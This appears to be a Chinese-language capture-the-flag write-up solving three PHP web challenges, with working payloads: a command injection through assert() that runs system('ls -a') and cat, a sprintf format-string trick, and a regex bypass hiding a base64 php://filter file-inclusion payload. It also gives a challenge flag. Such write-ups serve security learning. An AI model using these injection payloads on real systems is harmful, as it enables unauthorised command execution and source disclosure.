Web
1.一个不能按的按钮
题目地址:http://47.103.6.99:8000.
f12打开控制台,删掉disabled即可点击flag,得到一段php代码
assert函数:当变量为真值时将字符串当作语句执行,而当false值时将其转换成一空字符串。
如果想要assert执行的话就要先执行file_exists()函数,file_exists()函数是用来检查文件或目录是否存在的,存在返回true,否则返回false。
构造payload:
http://47.103.6.99:8000/flag.php?file=1’) or system(‘ls -a’);//
发现文件ffll44gg,用cat命令:
http://47.103.6.99:8000/flag.php?file=1’) or system(‘cat .ffll44gg’);//
得到flag:
2.I am looking at you
题目地址:http://47.103.6.99:8006/
sprintf函数:把百分号(%)符号替换成一个作为参数进行传递的变量。
data变量的初始值为“I am looking at you %s”,其中的%s在sprintf函数中作为占位符传入后面的$_v函数的值。所以在构造payload时最后要以%s结尾。
?myname=lalala%s
得到flag:
3.task
is_ok函数会对传入的参数进行正则表达式匹配,若传入的参数为两个数字或字母,则会退出函数。然后检测p变量,若p不为字母或数字,则pp变量为解码后的p变量,然后包含一个pp变量。
在base64编码范围之外的字符可以绕过正则表达式。
将payload:
p=php://filter/read=convert.base64-encode/resource=flag.php
进行base64编码,在每一个字符前加一个在base64编码范围之外的单引号,就可以成功绕过。
p='c’G’h’w’O’i’8’v’Z’m’l’s’d’G’V’y’L’3’J’l’Y’W’Q’9’Y’2’9’u’d’m’V’y’d’C’5’i’Y’X’N’l’N’j’Q’t’Z’W’5’j’b’2’R’l’L’3’J’l’c’2’9’1’c’m’N’l’P’W’Z’s’Y’W’c’u’c’G’h’w
用post发送得到flag:
SKCTF{18e599effd0f6da452b24421c2dde0f2}